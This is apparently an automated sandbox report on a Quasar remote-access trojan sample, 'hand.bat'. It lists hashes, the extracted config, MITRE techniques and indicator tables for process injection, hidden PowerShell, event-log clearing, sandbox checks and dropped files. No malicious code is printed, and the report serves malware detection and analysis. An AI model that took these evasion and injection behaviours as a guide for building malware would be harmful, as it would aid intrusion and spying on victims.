quasar | 698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688

Analysis

max time kernel
150s
max time network
151s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
19-11-2024 21:24

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General

Target

hand.bat
Size

7.0MB
MD5

1a013c7ac90b58073895b26cae70def7
SHA1

60c9c3294fc7ac3d336a478274f62f4818498230
SHA256

698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688
SHA512

c1bbb52e8546b352e041e944d7dfa158d5dc9a51b1628128d345e4a9e708871d7a1f5e59cc44a2c66f8dc9af81ec06e1b5105d5a7292497075564496f3b0ec75
SSDEEP

49152:vZrlGoT+Xts/LJjeDPnIwT0ZFBZP2x3fLKs0HMb0DprNMiKwPjp9Kw2EdF8d7nrx:Y

Score

10^/10

quasar defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
1162A0E173FED8E7CF598896A547E279E681EE6F
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3168-1670-0x0000016DEF200000-0x0000016DEF96C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2044 created 612	2044	powershell.exe	5
PID 3168 created 612	3168	powershell.exe	5

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	3168	powershell.exe
24	3168	powershell.exe
28	3168	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2044	powershell.exe
3168	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

pid	Process
1780	oauLVi.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-mQEb5bu8	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2044 set thread context of 1364	2044	powershell.exe	91
PID 3168 set thread context of 3720	3168	powershell.exe	100

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\oauLVi.exe	powershell.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188010E58640AD"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732051581"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00188010E58640AD"	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00188010E58640AD = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f5700b71113c2b45abca0dda15e6fa420000000002000000000010660000000100002000000062bf683072b3d7bc57e7669606acf357e226d276e21cfb5589a069cf39efbd21000000000e80000000020000200000003d58097ebd8fc01f91e40d915d700b335e68ca6b9e3f5780c5370030eb39678780000000a7de9620a23c7a8d900c1ee35ddd2693d72d8bf3e2afeead7824343decd82fc2d883e4422489aa80df6c256aee646fb1ef30469c5c07ccc57435ad7a09e4e57453393c739e4c90daa9b8953d34cadeb0ea9b73ea5cbfc47d2174fd06828d3b5abdb298a794832a4dd74da5c2a2300efba638aa91b163995dee58b092f72746b340000000e149fd75f9dfa1dcf8d755fd2500dc91acbf1185b22d6e1921f8a873f205f54a53a5aec1b00ac59437fd4a9ae3dc736b9371365cf609b409c1f6d2dd3a12b7cd	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={8F4CBB41-74B8-4011-B44C-F76D702C5A96}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 19 Nov 2024 21:26:22 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f5700b71113c2b45abca0dda15e6fa42000000000200000000001066000000010000200000007e2e52e75ae256bd8d7989d4a37fcbc1c0ff99817f579e4196d35b60e5c295f7000000000e8000000002000020000000288cd6e739d11dc0db3a4740859d53d106af4eb0f16b22e762820eecd52e4706b0030000ab0960cd1e92efdc136c43d7aaa88875281e289504c68f1f39c7e17d06eddbb546ac6bb4ac56025a7aa648b84b50fbbe5851d8e3bc92d0517b62f6ece824c4dbc3dc2091b6790881a6782cb0e810ba2c4631f8d6b10dddb2507dd3dc1e0b01712c213dca5498477ea639be43eaa5c96dacbb94057759cb0e98341b060829b5c4ca775e5c927f8f10f887d6554e84a46b6ecda8fb5d1b3cef1a1eb5211d117daea906f9baa81961f3b6737f30583fdbdb1b6549b0bb4c8f8e296aff5e6bb52ec163f64f4fb6d20bea9bbe8527265b41ac2ebe28cad01cc16a331d5ada1ee898ad6fee3a1457d15acb7a835d2dc57ffcf20174308280fdbda1119309bf67dfe4dd3af387afe03dde8c7e44614ab7212069db3cd344f845d0b25a7c951834c03900dd2ee8ede02ccc96fb99a30dee746c05b2a0a4a61e7e7306568083e00f41ca99ec8710b5c651bddf472b8e9f30c46e92903421c219eb8f62ae086f86e48ff035c47b77ce0941e44da58f60a6933a3fbccace5be1942e395ce0184b65e938d0936b1430a35e56081956e352aa03ef19a635b5747b960a1d81985f94f28ee5d3bb9c63b2cd0528a994c4dd967427f7c7161e3b9e16b4c79eb08ceb2558340e4ad0c049215fb7981d987382eda8a505b6f45fd257d61ad1c3b6cba57bbad344642939b8ed95f808e05e13682fd4375bee4694ed53ff99907aac79985ff5a8a138ab186ba12ce1b6c110bca1ff33d4f06ae7664efc271026c7b75a1f8742883fad45829976199ae9911b18642f0952c23bb1cfba113b08383232b0f873efda31aa04a09e21cff3742b9147822de39e3c2975801a21e01980feeb450076fca4efae71eb002e35f9d0a8e93a1b42c588efdcb879a6c0ca9934ef983d2ece8d05c017166bea92fbb4c73e122e0cb9df900c53f2abcda07b16d6dd17d5d5ea1d91fa4966fdd8d991a897003146f9651369b19b7b0d5897d74fae61c72c377ea8f77b701da7570638fdd691155612e7fc12a692db0c5b56a89876b2b7946fff77d3e702fa96043fe02b89809ee13d8174b42dbcc656aa63aba66fdde62989c2c4c179e6ac0e8cfc9a318430baf81ea7c3529441be42444cea08b70e1489f33257a19a12c98716a1789c6978d9b4da125f6ccf0d27aca43ae89ab477e5a4cd6e3e01e330a68200e381f966e95a0bcde666cf587b505dbc0c7f7f67a7c3e6ed315f7cf7e22ec5f20ebbe55b45e0b63bdddaca3f0797124029e459c6118b8a06d63d6bda492db1deaee280080708e836f4300c83a0640e1e352defea3c79e5559e11348bfbc3262b41d7cda7a90a3941f3891fa3bd4340000000ce24c3c39d4f90051df34ba77fdb2f1e7462b3d6d569d9ff0ce9281eac43dadda6ae972f977c6fc7c653bb18f26309292673305ef9eeac191b98dc45698254b7	mousocoreworker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
3168	powershell.exe
3168	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
3168	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
3168	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
3168	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
3168	powershell.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe
1364	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	1364	dllhost.exe
Token: SeShutdownPrivilege	1076	dwm.exe
Token: SeCreatePagefilePrivilege	1076	dwm.exe
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	2024	svchost.exe
Token: SeCreatePagefilePrivilege	2024	svchost.exe
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeDebugPrivilege	3720	dllhost.exe
Token: SeShutdownPrivilege	780	RuntimeBroker.exe
Token: SeShutdownPrivilege	780	RuntimeBroker.exe
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeShutdownPrivilege	780	RuntimeBroker.exe
Token: SeShutdownPrivilege	3652	Explorer.EXE
Token: SeCreatePagefilePrivilege	3652	Explorer.EXE
Token: SeAuditPrivilege	2364	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1744	svchost.exe
Token: SeIncreaseQuotaPrivilege	1744	svchost.exe
Token: SeSecurityPrivilege	1744	svchost.exe
Token: SeTakeOwnershipPrivilege	1744	svchost.exe
Token: SeLoadDriverPrivilege	1744	svchost.exe
Token: SeSystemtimePrivilege	1744	svchost.exe
Token: SeBackupPrivilege	1744	svchost.exe
Token: SeRestorePrivilege	1744	svchost.exe
Token: SeShutdownPrivilege	1744	svchost.exe
Token: SeSystemEnvironmentPrivilege	1744	svchost.exe
Token: SeUndockPrivilege	1744	svchost.exe
Token: SeManageVolumePrivilege	1744	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1744	svchost.exe
Token: SeIncreaseQuotaPrivilege	1744	svchost.exe
Token: SeSecurityPrivilege	1744	svchost.exe
Token: SeTakeOwnershipPrivilege	1744	svchost.exe
Token: SeLoadDriverPrivilege	1744	svchost.exe
Token: SeSystemtimePrivilege	1744	svchost.exe
Token: SeBackupPrivilege	1744	svchost.exe
Token: SeRestorePrivilege	1744	svchost.exe
Token: SeShutdownPrivilege	1744	svchost.exe
Token: SeSystemEnvironmentPrivilege	1744	svchost.exe
Token: SeUndockPrivilege	1744	svchost.exe
Token: SeManageVolumePrivilege	1744	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1744	svchost.exe
Token: SeIncreaseQuotaPrivilege	1744	svchost.exe
Token: SeSecurityPrivilege	1744	svchost.exe
Token: SeTakeOwnershipPrivilege	1744	svchost.exe
Token: SeLoadDriverPrivilege	1744	svchost.exe
Token: SeSystemtimePrivilege	1744	svchost.exe
Token: SeBackupPrivilege	1744	svchost.exe
Token: SeRestorePrivilege	1744	svchost.exe
Token: SeShutdownPrivilege	1744	svchost.exe
Token: SeSystemEnvironmentPrivilege	1744	svchost.exe
Token: SeUndockPrivilege	1744	svchost.exe
Token: SeManageVolumePrivilege	1744	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1744	svchost.exe
Token: SeIncreaseQuotaPrivilege	1744	svchost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3652	Explorer.EXE
3652	Explorer.EXE
3652	Explorer.EXE
3652	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3168	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 1968	4788	cmd.exe	84
PID 4788 wrote to memory of 1968	4788	cmd.exe	84
PID 4788 wrote to memory of 2044	4788	cmd.exe	85
PID 4788 wrote to memory of 2044	4788	cmd.exe	85
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 2044 wrote to memory of 1364	2044	powershell.exe	91
PID 1364 wrote to memory of 612	1364	dllhost.exe	5
PID 1364 wrote to memory of 680	1364	dllhost.exe	7
PID 1364 wrote to memory of 976	1364	dllhost.exe	12
PID 1364 wrote to memory of 476	1364	dllhost.exe	13
PID 1364 wrote to memory of 764	1364	dllhost.exe	14
PID 1364 wrote to memory of 716	1364	dllhost.exe	15
PID 1364 wrote to memory of 632	1364	dllhost.exe	16
PID 1364 wrote to memory of 1076	1364	dllhost.exe	17
PID 1364 wrote to memory of 1108	1364	dllhost.exe	18
PID 1364 wrote to memory of 1116	1364	dllhost.exe	19
PID 1364 wrote to memory of 1200	1364	dllhost.exe	20
PID 1364 wrote to memory of 1272	1364	dllhost.exe	21
PID 1364 wrote to memory of 1356	1364	dllhost.exe	23
PID 1364 wrote to memory of 1444	1364	dllhost.exe	24
PID 1364 wrote to memory of 1460	1364	dllhost.exe	25
PID 1364 wrote to memory of 1480	1364	dllhost.exe	26
PID 1364 wrote to memory of 1536	1364	dllhost.exe	27
PID 1364 wrote to memory of 1676	1364	dllhost.exe	28
PID 1364 wrote to memory of 1688	1364	dllhost.exe	29
PID 2044 wrote to memory of 3208	2044	powershell.exe	92
PID 2044 wrote to memory of 3208	2044	powershell.exe	92
PID 680 wrote to memory of 2824	680	lsass.exe	47
PID 680 wrote to memory of 2824	680	lsass.exe	47
PID 1364 wrote to memory of 1704	1364	dllhost.exe	30
PID 1364 wrote to memory of 1844	1364	dllhost.exe	31
PID 1364 wrote to memory of 2000	1364	dllhost.exe	32
PID 1364 wrote to memory of 2012	1364	dllhost.exe	33
PID 1364 wrote to memory of 1744	1364	dllhost.exe	34
PID 1364 wrote to memory of 1064	1364	dllhost.exe	35
PID 1364 wrote to memory of 1932	1364	dllhost.exe	36
PID 1364 wrote to memory of 2056	1364	dllhost.exe	37
PID 1364 wrote to memory of 2144	1364	dllhost.exe	38
PID 1364 wrote to memory of 2220	1364	dllhost.exe	39
PID 1364 wrote to memory of 2364	1364	dllhost.exe	41
PID 1364 wrote to memory of 2524	1364	dllhost.exe	42
PID 1364 wrote to memory of 2604	1364	dllhost.exe	43
PID 1364 wrote to memory of 2612	1364	dllhost.exe	44
PID 1364 wrote to memory of 2764	1364	dllhost.exe	45
PID 1364 wrote to memory of 2800	1364	dllhost.exe	46
PID 1364 wrote to memory of 2824	1364	dllhost.exe	47
PID 1364 wrote to memory of 2860	1364	dllhost.exe	48
PID 1364 wrote to memory of 2868	1364	dllhost.exe	49
PID 1364 wrote to memory of 2108	1364	dllhost.exe	50
PID 1364 wrote to memory of 2136	1364	dllhost.exe	51
PID 1364 wrote to memory of 3076	1364	dllhost.exe	52
PID 1364 wrote to memory of 3248	1364	dllhost.exe	54
